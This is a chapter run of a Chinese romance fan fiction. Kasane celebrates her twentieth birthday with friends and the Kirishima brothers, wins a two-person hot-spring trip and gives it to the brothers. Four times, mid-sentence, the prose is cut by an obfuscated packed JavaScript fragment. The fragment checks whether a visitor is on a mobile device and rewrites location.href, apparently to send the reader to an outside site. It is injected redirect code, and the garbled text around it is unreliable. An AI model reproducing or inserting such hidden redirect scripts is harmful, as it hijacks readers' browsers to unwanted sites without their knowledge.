大家发出了略带几分惊喜、但比起女朋友话题时逊色了不少的“诶——？”一声。 然后话题就被扯到兄弟姐妹的苦恼上去了，队长花了整整十分钟抱怨自己身为次女的上有烦人兄长、下有粘人弟弟的痛苦生活，但怎么听都让人觉得略带几分炫耀的意味。当然也有独生子的后辈叹息着独自成长的孤单，这听起来倒不那么像是炫耀了。 风音掺和不进这个话题。她觉得自己既不是独生子，也不像是有弟弟的长女，毕竟她从来都没和真·弟弟安德烈亚正经地生活过，但小时候又和同龄人的桐岛兄弟从小玩到大，说是这对兄弟之中的编外成员都没关系。既然如此，干脆还是好好地听着大家的抱怨好了。 晚餐结束得早，干脆去附近的卡拉OK消磨时间，赶紧定下最后一间大包厢，大家已经迫不及待地开始选歌了。 “快给我选《first love》啦！连宇多田光的歌都不唱，简直和没来卡拉OK一样啊！” “什么啊，卡拉OK的必唱曲难道不是《we will rock you》吗？” “那个是团建曲啦。” “可我们现在就是在团建啊。” “小风！你上次一首歌都没唱，今天肯定要唱啦！” “啊？不要不要！”风音赶紧用薯条塞满嘴巴，躲到了包厢的最角落里，“我会跑调的！” “这有什么，大家也不擅长唱歌呀。” “不是擅不擅长的事情嘛。” 风音一边说着，一边把个子最高的夏也和伊藤凪拉到自己旁边，然后毫不犹豫地躲到这两个坚实后背铸成的高墙背后，努力把自己的存在感消磨到最低。 “主要是，要是唱得太难听了，你们会笑我的。”这种事早就已经发生过了，所以她才不想再来一次，“我今天才不想当逗笑大家的搞笑艺人！” “放心放心，我们这次肯定不会笑你的。” 她的高墙之一伊藤凪同学毫不犹豫地出卖她，想要把她推到大家的中间去。风音慌慌张张朝夏也求救，还好他会毫不犹豫地帮自己。 既然如此，就安安心心地躲在夏也的后面好了，只在他人唱完一首的时候捧场地摇摇沙铃，以此证明自己绝对没有消失无踪或是偷偷溜走。 还好还好，在一向闹腾且欢乐的这支队伍中，就算是没有拿起话筒，也绝对算不上扫兴。而这最后的聚会，的确欢闹到了好晚，等大家像被放出笼子的比格犬那样彻底消磨完精力时，时针早就走过十二点了。 好嘛，这下子连末班电车都赶不上了。 有人嗷嗷叫着贵到不行的深夜出租车费太贵，说干脆租一整晚的包厢睡在这里算了，如此无厘头的建议居然得到了不少附议，其中可没有风音的声音。她站起身来，得意地穿上外套，好一副底气十足的模样，这份傲气可不是空穴来风。 “我先告辞咯。”她笑眯眯地挥手道别，“感谢大家今天挑了个离我家很近的聚会地点，我只要步行二十分钟就能到家了。” 这么气人的话一说出口，肯定要让大家生气了，也难怪大家叫嚷起来。 “不公平！” “就是就是！好狡猾！” “把你家让出来给我睡！” “这不行啦前辈。”风音努着嘴，“大不了就用太阳石油的赞助费当打车费好了，反正赞助费很多嘛。我真的要走了，不然到家会很晚的。拜拜啦，明天见！” 然后赶紧溜了，顺便拉上夏也一起，毕竟这里只有他们俩顺路嘛。 又要回到冷飕飕的风里了，冻得让人直打哆嗦，风音拢紧毛呢外套，加快脚步往前走。 才刚刚走出一百米，裹在外套里的那点温度就被风吹散了。真倒霉。 风音把手拿出口袋，贴到脖颈上，整个人看起来都缩小了一些，真是奇怪的动作。夏也忍不住要笑。 “为什么用手贴着脖子？” “手好冷！太恐怖了，我的口袋漏风！” 换言之，把手插进口袋里和直接暴露在风中毫无区别，现在她的手指还没暖回来呢！ “是嘛。” 夏也飞快地看了一眼她薄薄一层的外套口袋，而后视线才落在她藏在围巾褶皱间都快冻白了的手指。 很忽然的，他向风音伸出手。 这个动作有点似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724899|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味不明，至少肯定不会比话语更明晰，可不知道为什么，就算他什么也没说，风音好像也知道他的想法，下意识地将自己的手放进了他的掌心里。夏也倏地一下握紧她的手。 “你的手真的好冷。”他说着，笑了起来，“只比冰块好了一点点吧。” 风音不服气：“和冰块比的话肯定还是好了很多吧！至少我的体温在零度以上！” “嗯，是这样没错。” 没有否定她的夏也同样没有松开他的手。他们就这么走在冬日凌晨的街头，似乎谁也不觉得紧握的十指该有什么问题。 不过…… 风音没敢低头去看他们交叠的手指，她总觉得这么不加掩饰的目光太不礼貌了，就像是在质问夏也为什么攥着她的手不放，虽然她也真的很好奇为什么。 会是什么特别的理由吗？应该不至于吧。夏也只是人很好，对她也一直很好。 意识到这一点时，风音忽然觉得茅塞顿开。 紧握着的他的手，就像倒入玻璃杯的麦茶，只是他为人体贴的具象化行动而已。 并没有在此之上的多余的东西存在吧。 意识到这一点，风音总觉得会有什么情绪随之而来才对，可就是在同时，一颗渺小的凉意落在了她的鼻尖上，冻得她浑身一抖。 下雪了。 是小小的雪，微弱到几乎要消失在黑夜里，只有在看着街灯投下的光是，才能留意到一点飞雪。看来明天不会看到银装素裹的城市了。 尽管如此，风音还是挺开心的。 “果然要下雪了才更像是冬天嘛。”她说，“今年的雪实在是太少了。” “是啊，明明这个冬天这么冷。” 雪并没有越下越大，好在也没有悄悄归于沉寂。这场雪让风音心情很好，忍不住蹦跶在人行道上，夏也就这么被她拽着往前走，嘴角始终噙着一抹微小的笑意，始终留意着她的脚步，准备好了在她惨兮兮地摔上一跤时把她拉起来。 当然了，在结冰的地上摔倒，这么丢脸的事情是不可能落在风音身上的。她相当平安地回到了公寓楼下，是时候道别了。 二十分钟的路程果然只走了二十分钟而已，不多也不少。 该说“再见”的时候，风音忽然话语变成了崎岖的正方形，根本说不出来，大脑大概也随之抽搐了一下，以至于她脱口而出的话语是：“生日——” 夏也笑了：“你的生日是快到了。放心，我没有忘记。” “我知道你不会忘的。我就是想说，我打算在生日的时候请大家出来玩来着——你和郁弥还有其他朋友，贵澄他们拜托你帮我邀请一下可以吗？” “要办派对吗？” “不至于到派对这个规模啦，就是请大家和我一起吃蛋糕而已。你会来的，对吧？” “嗯。” 夏也忽然伸手过来，风音总以为他是想要摸摸自己的脸颊，但他只是帮她拨正了一缕乱糟糟的碎发而已，一下子变快的心跳一下子又变回了平常的步调，害得她一下子不知道该说点什么才好，忍不住一直将发丝捋到耳后。 “那就……说定了。”风音指了指身后的公寓，别扭地笑了一下，“我回去咯？” “晚安，风音。” “晚安。” 丢下这句话的她，觉得自己完全是逃回去的。 26.日历撕到第二十年满百收藏加更 生日这种事，永远不会在生日当天拥有最高的期待值，正如二月十三日清晨醒来的风音，在完成了惯例的晨跑之后才想起来今天的自己已经来到了二十岁的这个事实。 且想起来了也没觉得有多么的高兴或是激动，“二十岁”这个概念就和“早饭吃鳗鱼饭团”一样平平无奇，只有在咬开白米饭吃到甜味的鳗鱼肉时才会感到切实的幸福——对于风音来说，开始阅读聊天界面里大家发来的一连串生日快乐，就是她的好味蒲烧鳗鱼。 嚼着鳗鱼，挨个感谢大家的祝福，等回复到郁弥的时候，她把重复了十次的“太谢谢你了！”回复改成了“快告诉我你要送给我什么礼物【伸手.jpg】”，并且在十秒钟后得到了他的回信。 「Ikuya：不告诉你，但你可以从现在开始猜」 「Kasane：我猜钻石」 「Ikuya：说了不告诉你了」 「Kasane：没事，反正再过十二小时我就能见到了。顺便问一句，礼物是你和你哥一起买的吗？」 「Ikuya：这个可以告诉你，是的」 「Kasane：提前感谢你们！」 说起来，爸妈的礼物也是凑成了一份一起送给她的——不用想也知道，皮埃尔在其中发挥的最大作用是给钱，其余的心思都要感谢鹿鸣幸才对。 他们选择的二十岁礼物不算最昂贵，却是风音一直都很想要的漂亮水晶簇，精准地在生日当天由宅急便送到了她的手上，真是完美的时机。 依然是工作原因，妈妈没办法面对面地庆祝风音的生日。她对此有点自责，总觉得在成人之日缺席是件很没有母爱的事情，风音自己倒是觉得无所谓。 “你已经很有母爱了，用不着特地请一天的假期、坐往返十几个小时的飞机来证明自己还能更有爱。”风音在电话里对她说，还换上了一副分外正经的腔调，“相比之下，不如认真上班、努力研究，早点结束在欧洲的工作，回东京来陪我——带上你的长发艺术男未婚夫一起。” “你说得很有道理，我会遵命的，但我还是要说，我的未婚夫不是艺术男。对了，你爸今天会来和你一起吃吃饭之类的吗？” “不会，他都已经回去了，而且我也不想在这个好日子看到光头啦——会让我担心自己的头发是不是依旧坚固的。今天的生日，我会和朋友们一起过。” 他们要去吃鼎鼎有名的墨西哥餐厅，不计热量地一起分享十六寸的巧克力蛋糕。风音催他们快把礼物交上来，准备坐享其成了。 球队的大家一起买了新耳机给她，实在太贴心了，一下子帮风音唤醒了她上周换衣服时没长眼地一脚踩碎了心爱耳机的痛苦回忆，以至于她又哭又笑地接过了礼物，挨个在大家的脸上亲了一口——不这样的话她真的有点无以为报了，虽然她的吻压根不值钱。 鴫野贵澄和椎名旭还有其他几个初中同学则是送了腰果花花纹的丝巾，好看到风音要叫出来了。 “你们绝对是学会了读心才会知道我最喜欢这个花纹了吧！” “没人会读心啦。”贵澄笑着摆手，“我们只是拜托伊藤同学帮忙占卜了一下你会喜欢的元素而已。” 坐在旁边的大功臣伊藤同学已经开始得意地摸下巴了。 嗯，虽然贵澄的这句话让风音觉得自己的两个社交圈子微妙地撞在了一起，但既然这次小小的碰撞带来了相当不错的结果，就也没什么好计较的了吧。 就差一份礼物了。 迫不及待，风音看向桐岛兄弟。也不知道算是机缘巧合还是百分之百的人为安排，他们的礼物作为大轴登场。 还好还好，那确实是值得最后出现的礼物。 风音眨眨眼，宝石的光泽即便在闭目之后，也还是会在视野中烙下很耀眼的存在感。好像听到旁人也在发出惊叹，或是自己的吸气声分裂成了两半，同时在左右两侧响起。 是意料之中的礼物，也有点出乎意料，因为出现在眼前的并不是钻石，而是通透到金黄的黄宝石。也不是她最常戴的耳环，而是银制的纤细手链。 “看到你的手腕上总是空荡荡的，想着如果能添上点什么应该会很不错。”说着这话的郁弥带着一点小小的自得与期待，随之而生的当然还有一丝丝的忧虑，“你会喜欢的，对吗？” “怎么、可能、不喜欢！”风音蹭一下站起来，“桐岛大人，请问，你需不需要我不值钱的亲亲？” 郁弥瞬间红了脸，仓皇地躲开她的视线，都不知道该说什么才好了。夏也嘛，一如既往笑得阳光，却不置可否，只说“你喜欢就好”。 今天真的太快乐了。和朋友们在一起也好，收到的心爱的礼物也好，一切真的太棒了。 直到这一刻，风音才冒出了“生日真的很不错”的念头。 “真的太感谢大家了！”分别的时候，她很认真地说，“作为大家的朋友，在未来的几十年，我一定会努力做得更好！” 有人在偷笑：“你说话好像社畜哦。‘我要达成更好的KPI’，有种这样的感觉。” “这时候你们要说‘风音你已经是很好的朋友了呀’才对嘛！” 好嘛好嘛，就当是哄哄寿星，最后大家果然还是这么说了。 生日的相聚结束得不算太晚，电车也依然在运行时间中。郁弥系上围巾，准备和夏也说他先回去了，却忽然感觉到有人搂着他的肩膀，而这人的手臂同时也揽住了夏也。 风音挤进兄弟俩的中间，把手搭在他们的肩膀上，噙着浅浅的微笑，只用睁得好圆的眼睛打量他们，一副神秘兮兮的模样。 “我们去吃关东煮吧，怎么样？”很神秘的她说出了很不神秘的话，“是第二回合的庆祝哦，就我们三个最好的朋友，好不好？” 无论是关东煮还是第二回合又或者是最好的朋友，全都像是无法拒绝的元素，也难怪在短短半小时之后，他们就坐在附近商店街的关东煮小店里了。 明天就是情人节，整个商业街都相当热闹，到处都打着情人节的标题，桃红色爱心随处可见，就连空气里也弥漫着牛奶巧克力的香气，甚至关东煮小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731100|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店也不意外，穿在竹签上的竹轮也被切成了心形。风音决定在今天稍稍地膨胀一下她的自我意识，将这一切元素都当做是对她生日的祝贺——厚脸皮地将情人节的元素拢进自己怀里，这大概就是生日恰好在二月十四日前一天的好处吧。 “不选酒吗？”夏也盯着她杯子里的可尔必思说。 风音摆出一副好惊讶的表情：“酒鬼正在劝人喝酒！” “……我什么时候变成酒鬼了？” 夏也好受伤。 更受伤的是，在他重复“酒鬼”一词的时候，风音和郁弥偷摸摸地对视了一眼，同时低头开始笑起来，让他怀疑这两个人正在琢磨什么很不礼貌的事情。 “啊，对了。” 笑得差不多了，风音想起很重要的事情，赶紧把一直摆在桌下的左手放上来，戴在手腕上的宝石手链也被碰撞出了很微小的咔哒声。 “你们送给我的礼物好贵，我有点不好意思收下。” 风音自觉不算是对珠宝很有了解的专家，但漂亮的石头一定很贵的道理她还是明白的，一眼就能看出来，镶嵌在手链上的一定是很不错的宝石，害得她都不敢直接问郁弥和夏也价格了，生怕听到的是什么很恐怖的数字。 而对于昂贵与否的这个话题，兄弟俩也不会直白地回答，只说，喜欢的东西就该安心收下。 “当做是前几年欠你的礼物好了。”夏也还这么说了。 郁弥在一边帮腔：“意思是，你也要把欠我们很久的礼物一起补上。” “知道啦。”风音笑着把手收回桌底下，“就算是掏空我所有的比赛奖金，也一定会送上和你们心意的礼物，你们就放心吧！” 话虽如此，距离郁弥的生日只有半个多月而已，她还完全没思考过礼物的事情呢……算了算了，现在就不想了吧！ 她要痛快地吃关东煮，痛快地把可尔必思喝光，就连买单的瞬间也觉得心情畅快——虽然承担起了买单重责的是郁弥和夏也，作为给风音的生日礼物2.0。 和找零与小票一起递上的还有一张抽奖券，听老板说是商店街举办的情人节抽奖活动，头等奖相当不错，而且中奖率百分百，再不济也能领到一包纸巾。 “我肯定能抽中头等奖！”风音自信满满，“就让你们见识一下寿星的好运气吧！” 郁弥对于她的自信将信将疑，但当头等奖的小球真的从抽奖机里掉出来时，他不得不承认风音今天真的很好运了。 “恭喜你，一口气就能抽中头等奖，真是太厉害啦！”连负责抽奖的阿姨都来摸摸她的手以求喜气。 寿星本人鹿鸣风音正处在一种轻飘飘的得意心情之中，笑了整整三分钟才意识到，自己还不知道头等奖是什么呢。 “是双人温泉农场周末游哦！” “啊——好好好！”风音笑着点头，两秒钟后意识到了不对劲，“等等，双人吗？” “是哦。” 不知道是不是错觉，她似乎感觉到夏也和郁弥的目光，在这个瞬间同时落在了自己的身上。 27.三选二被选中的几率有多大 好消息好消息好消息！在二十岁寿星buff的加成之下，鹿鸣风音小姐好运大爆发，成功抽中了商店街头等奖之双人温泉农场周末游！好耶！ 然而，福祸相依，这个务必完美的好结果有个致命的问题——抽中的头等奖是只有两个人才能前往的双人游。 如果是三个人的话，那可就太棒了，正好在场的他们三位都能一起前往，无人受伤的世界达成了！ 但是，但是，但为什么偏偏是双人……偏偏她又是个不擅长做出选择的家伙……难道特地设计的双人游是为了凑上情人节的氛围吗？可恶，所以她才最讨厌情人节了嘛！ 风音已经开始咬牙切齿起来了，生日的喜悦一扫而空，只剩下举棋不定的苦恼在暗自作祟。 不过，兄弟俩似乎完全没觉得这是什么值得纠结或是烦恼的事情。也可能已经察觉到了风音僵硬的站姿和别扭的表情，只是权当没看见而已。 “果然生日当天的运气很不错呢。”笑眯眯的夏也如是说，“你也该去好好放松一下才对。” “温泉加上农场，感觉很有意思的样子。我还没去过这种地方呢。”郁弥跃跃欲试，“祝你玩得开心。” 说着这种意味不明的发言，这两个家伙是在试图暗示什么吗…… 风音干笑了两声，而这绝对不是什么心情畅快的得意笑声，纯粹只是为了化解此刻稍稍有点尴尬的氛围而已。 是的，没错，此刻整条商店街的空气都处在一种相当微妙、相当尴尬的情景之中。夏也和郁弥的视线全都落在她的身上，风音没好意思去打量他们俩的表情，可就算不亲眼去看，也能感觉到他们各自的身上冒出的一股强烈的“你会带我一起享受这个奖励的对吧对吧？”的期待感。 这种感觉强到风音觉得自己根本没可能说自己会和别的朋友一同前往这种自私发言。 他们会冒出这样的期待绝不奇怪，也一点都不意外。 追根溯源，能抽中头等奖，全都是因为夏也和郁弥特别大方地抢先在关东煮小店结账，这才让风音顺利得到了这张通往大奖的奖券。也就是说，他们都提供了重要的助力，且功劳完全对等，无论选谁大概都会很合理，但对于被落下的另一方，多少就有点不太公平了吧。 “不好意思，请问……” 现在只有商店街负责抽奖的这位阿姨能让她拥有一点安全感了，她迫不及待地往前迈了一小步，把热切的两道视线甩在身后，虽然它们还是紧紧地、固执地黏在背后，丝毫没有减弱或是消失的迹象。 “我能不能加点钱，把双人游升级成三人游。毕竟，那个，你知道的嘛，”她的脑筋动得飞快，开始寻找最为合情合理的理（借）由（口），“我想带着更多的朋友一起去！” “这个嘛，我不太清楚，毕竟商店街只负责奖品的抽取和兑现嘛。”对方笑得友善，看起来似乎没有察觉她这番请求藏着一丁点的不对劲，“你可以问问旅行社那边？稍等，我把旅行社的联系方式写给你。” 姑且是得到了一个解决路径，风音感觉自己多少能松一口气了，虽然在她倍感轻松的同时，身后万般期许的两道目光也随之变得暗淡了不少就是了。 刚松的那口气，隔天就又不得不提回到心口了。 “实在很抱歉，头等奖的行程就是以双人出行的配置进行安排的呢，如果要再增加一位出行人的话，实在是有点——” 旅行社的员工将社畜的委婉措辞功底和巧妙的暗示本领发挥得淋漓尽致，话还没有全部说完，风音就已经完全明白对方的意思了。 明白归明白，她是真的不想就这么轻易接受啊！ “真的不可以加一个人吗？这样太不公平了，我的两个朋友真的都特别想要和我一起去泡温泉，我要是厚此薄彼了，那多不好——说不定我的友情都要因此破碎，就此落到孤家寡人孤独一生的未来呢！” 风音把话说得好夸张。 “所以真的不能多加一个人吗？” “这个嘛……” 旅行社的员工表现出了百分之一百的体谅、百分之一百的同情与百分之一百的理解。 以及百分之一百的拒绝。 所以双人行依然还是双人行，绝没有动摇的余地。真是太无赖了。 早知如此，还是别抽中头等奖更好一点呢！ 风音怨气满满地这么想着，但也不是真的想要怪罪自己的好运气，毕竟难得能有这番手气，与其嫌弃不已，还是应该好好珍重才对，天晓得下次要到什么时候才能遇到同样的好事。 要不然，还是厚着脸皮带上球队的某个小伙伴一起去吧，比如真理亚或者伊藤凪又或者教练之类的？啊不行不行，这么做真的太对不起夏也和郁弥了，这份头等奖的最大赞助商可是他们俩。但要是将出游对象选为夏也或是郁弥，那不就又回到最初的纠结了嘛。 这件事差点害得风音寝食难安——之所以说是“差点”，当然是因为她能吃能喝能睡，日常生活丝毫没有被二桃杀三士的难题困扰到。 而正是在某天醒来之时，风音一下子茅塞顿开了。 “你和郁弥一起去享受头等奖的周末游吧！” 在拨通夏也电话的瞬间，她就迫不及待地说出了自己的天才想法。 而平常一直是睡到九点半才会醒来的夏也，被提前了整整四小时的电话唤醒，不得不花了几秒钟时间才回复清醒。 “嗯，是风音吗？”他抓了抓脑袋，“你刚才在说什么？” 好吧，看来也没有真的清醒过来。 不过电话那头的风音的声音听起来格外高兴，这一点他倒是发现了。 他听到她轻快地说：“就是温泉农场的双人周末游呀。你和郁弥一起去吧——别管训练和游泳啦，赶紧挤出一个周末享受美好的兄弟时光吧！” 美好的兄弟时光，听起来确实不错，可他想要的不是这个啊…… 夏也翻了个身，手机被压在了脸颊上，冷飕飕的，像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734185|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她手指的温度。他收回四散的思绪，想了想才问她，为什么不自己去。 “我没空嘛。”风音找了个可信度很低的理由，“我最近超级忙。” “那你也可以别管训练和篮球，和我一起去享受温暖和农场啊。” “篮球可不是这么就能轻易丢下的东西。” 风音说得信誓旦旦，过了两秒才意识到刚才似乎有一句很了不得的话从耳朵旁边钻过去了。 不过，大概只是错觉而已吧？肯定只是她听觉出现了小小的问题，把很正常的话语曲解成了不对劲的意思。 况且她已经下定了奉献的决心，无论夏也给出怎样的游说，她都绝对不会动摇半点。 正是这份过分坚定的决心，让风音在接下来的五分钟里，从情理到道义好好地向夏也说明了他为什么要带着郁弥一起接受这份来之不易的头等奖。 夏也嘛，他当然是很认真地听着，努力压住上浮的睡意，大脑已经自顾自开始描绘着说出这番正经发言的风音会是什么样子。想着想着，总觉得稍后的梦境里也能出现她的存在了。 “总之。” 她的长篇大论终于要画上句点了。 “拜托了，你们俩一定要去，这对我真的很重要！” 话都说到这份上了，夏也就算不是真心被说服的，也一定会答应了。 “所以，请你帮忙和郁弥说一声啦。”风音的语气听起来一下子轻快了好多，“拜托了！” 夏也有点想笑：“这个任务不该交给你才对吗？” “理论上是这样没错，可刚才那段话真的太长了，我不想再重复一遍了。” “懒惰。” “啊，你不能骂我！”她很不服气，“被你这么说我会很难过的！” “好吧，对不起，我以后不说了。” “哼哼，你知道就好。” 感觉被她故意戏弄了。 但对方是风音，所以被戏弄了也没关系。反正夏也是这么觉得的。 对风音而言的大问题迎刃而解，桐岛兄弟也可以不失望地共同享受一场出游，到此为止，风音可以自信地说，无人受伤的世界达成了。 当然了，少了一次泡温泉的机会，对于风音本人来说，多少会构成一点点的失望，不过没关系，她会用一整天的闲逛作为弥补。 从新宿逛到银座，又游荡到浅草，喜欢的东西买了一堆，钱包遭受重伤，还好本人尚且没有意识到这一点，谁让她正在惦记着是不是应该在浅草寺抽上一签。 从惦记到实现，大约只花了十秒钟而已。就当风音下定决心，准备从零钱包里摸出抽签用的一百元时，手机忽然震了震。是新消息到来的提示。 确切地说，是同时到来的两条新消息——来自前往温泉农场周末游的桐岛兄弟。 「Natsuya：【图片】意外的很早就开始晚饭了，给你看看今日份的晚餐」 「Ikuya：【图片】你吃不到」 28.对话状态一分为二 聊天框里，来自两个不同的人的不同消息是一模一样的寿喜锅，咕嘟咕嘟地在卡式炉上沸腾，唯一的区别是角度转了一百八十度，想来是因为拍摄照片的夏也和郁弥各自坐在桌子的两侧吧。 在他们俩出发的前一天，风音很认真地对兄弟俩说，一定要多拍几张照片给她看，如此一来才算是对得起她一发抽中头等奖的好运气。 对于这份叮嘱，夏也和郁弥都贯彻得相当不错，无论是夏也在出发前一本正经地拉着弟弟在站牌下的合影，还是郁弥和她抱怨这辆列车越开越往乡下去，肯定都是在遵守和她的约定，虽然害得风音这一整天的大部分时间都花在回复信息上了。 两个人的消息同时抵达，确实稍显意外，让风音掉进了一秒钟的手足无措的境地之中——在此之前，他们俩的消息总会巧妙地错开时间，完全不至于让她手忙脚乱。 总之，先把一百元硬币掏出来，丢进钱箱里，然后甩甩签筒，找到这次抽签对应的签文。 她想先把自己决定要做的事情做完。 运气大概是在商店街抽奖的时候用光了，她抽中的是大凶，签文还写得相当不妙，说她诸事不顺、事业崎岖、感情坎坷，且无论做什么都不会顺利，近期还极有可能遭遇意料之外的情况，简直凶到不能再凶。 当然了，这上面的任何一句话，风音都不信。 世上哪有这么绝对这么倒霉的事情呀，但凡说得再喜忧参半一点她说不定就信了，毅然决然的断言可没办法说服她。 她撇撇嘴，随手把大凶签文绑在一旁的架子上，重新打开聊天界面，寿喜锅又出现在眼前了。 干脆晚饭也选寿喜锅吧。手指敲在键盘上时，她冒出了这种念头。 虽然我吃不到但你要赶紧吃快点才行啊不然你哥肯定会把肉抢光的！——这条信息发给郁弥。 看起来好像很好吃的样子为什么我的手机还不能隔空闻到味道哭哭哭——这条信息发给夏也。 任务结束。 放下手机的那一刻，风音忽然觉得自己很像个时间管理大师（贬义），还好罪恶感并没有随之一起浮现。 是桐岛兄弟非要挑选在同一个时间给她发消息的嘛，她只是履行了及时回复的美好品德而已，干什么要冒出罪恶感！ 这么想着的风音美滋滋地去吃韩式冷面了，热气腾腾的寿喜锅彻底被她忘得精光，幸好这并不是什么大事。 真正的大事是，夏也只是看了一眼风音的回信，眼前锅子里的牛肉就差不多快被郁弥捞光了。真是让人烦心的弟弟。 “倒是先把香菇吃掉啊。” 夏也一边嘀咕着，一边夹起锅里的所有香菇，精准丢进郁弥的碗里——他的人生中最最讨厌的东西就是香菇了，光是把这几颗香菇夹起来，就已经耗尽了夏也的全部动力。 感谢这一整锅的牛肉，郁弥的脸被塞得浑圆，他口齿不清地说着马上就会开始吃香菇的，可夏也总觉得他接下来就没有足够的胃部空间容纳更多的蔬菜了。 如果是和风音一起来的话，那该多好，他们在吃饭这件事上一向很和谐——不知道为什么，她在餐桌上的竞争对象只有郁弥。 还好这个念头只是短暂地出现了几秒钟，在夏也从锅底捞出残存的零碎牛肉之后就差不多消失无踪了。 吃完晚饭，稍稍歇一会儿就可以去泡温泉了。农场的游玩部分是明天的主题，今晚完全可以随心所欲地把所有的空闲时间都耗费在这间乡下的温泉酒店。 走向露天温泉的路上，有只小猫拦在步道的正中央，尾巴甩来甩去，如同拦路贼一般，透着一股野蛮的气质，颇有种不提供它任何小鱼干或是零食的话就绝对不允许他们通行的意味。 虽然很野蛮，但确实很可爱，郁弥几乎是想也不想地举起了手机，想要拍下这只拦路虎的模样。 事实证明，比起美味的零食，还是手机镜头效力更佳，还没来得及按下快门，小猫就溜走了，只在照片中留下一团模糊的残影。夏也笑他运气不佳，可郁弥不想承认。 “应该是风音运气很差。我是想拍给她看的。”他略显嘴硬，“每次给她拍路边的小猫都会失败，在此之前我可没失败过。” 虽然在此之前他也不常会给流浪猫拍照就是了，压根不存在失败的余地。 夏也很轻的“唔”了一声：“拍小狗说不定就能对上焦了，而且她也更喜欢狗多一点。” 这绝不是一句否定的话语，可落在郁弥的耳边，总有一种极其微妙的尖锐感。 原来风音真的喜欢小狗更多一点吗？ 他几乎是下意识说出了“为什么”。 “没什么为什么吧，我直觉觉得风音应该是狗派的。”他的哥哥耸耸肩膀，“而且，她的性格就很像小狗啊。” 原来只是直觉，而不是来自当事人亲口说明的事实啊。 正如莫名的尖锐感，郁弥此刻松了口气也很莫名，他搞不懂自己为什么非要提心吊胆的。 小狗也好，小猫也罢，其实都无所谓。 郁弥觉得风音就是风音。不是狗也不是小猫，只是风音而已。 冒出这个念头似乎有点怪，郁弥努力把自己浸在温泉里，试图用这略微滚烫的温度将多余的念头蒸发掉——整天都想着风音什么的，这种事也太不好意思了。 话虽如此，钻进被窝的时候还是免不了又想到她了，想的当然又是，如果能和她一起来的话该是怎样。 啊，倒不是在嫌弃同游的对象是哥哥。能和夏也一道出来玩，他其实还挺开心。当然也不会冒出什么胆大包天的期待，郁弥纯粹只是想了一下有她在的可能性而已。 越想越觉得心底在刺挠，干脆摸出手机，给她发了条新消息，问她是不是已经睡了，久久没有得到答复，看来他的消息确实发送得有点晚了。 不过，这份想要说点什么的心姑且算是落地了，郁弥很快就沉进了睡眠中，可惜并未做梦，虽说做梦也不总是好事。 习惯性地早早醒来，身旁的床铺空荡荡的。一向比他起得晚很多的夏也居然已经醒来了，且不见踪影。但哥哥那么大一个人怎么想不至于凭空蒸发，郁弥只为他的消失担忧了短短的两秒钟，而后就不再担心了，坐起身来，用力揉揉脸，把剩下的困意驱散掉。 按照习惯，接下来要去洗漱，然后换上运动服去晨跑，吃完早饭之后如果想起来了，那就看一眼手机，但现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739568|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他的手已经迫不及待地伸向枕头边的这个小方块。 昨晚给风音的消息，说不定已经收到回复了。他抱着这番心情彻底违背了自己每天早上的既定安排。 「Kasane：是的，我已经睡着了——顺便一提，要是我真的睡着了，就不会回复你了，所以你的提问是废话文学」 消息来自六分钟前，看来她也刚刚睡醒。郁弥不自觉地扬起嘴角，把手机放到一边，忽然又想到了什么，重新打开对话框。 「Ikuya：猫和狗，你更喜欢哪一个？」 「Kanase：都很喜欢」 圆滑的回答等于狡猾，根本不是真正的回应。郁弥很不满意。 「Ikuya：非要让你做出选择呢？」 「Kanase：为什么非要二选一？我喜欢猫也喜欢狗，只要是毛茸茸的动物我都很中意，而且我也很喜欢昆虫和人类，因为我真的很博爱【双手合十.jpg】」 「Ikuya：你这种回答和作弊没有区别」 「Kanase：？怎么就作弊了！我现在就把拳头伸过来打你！」 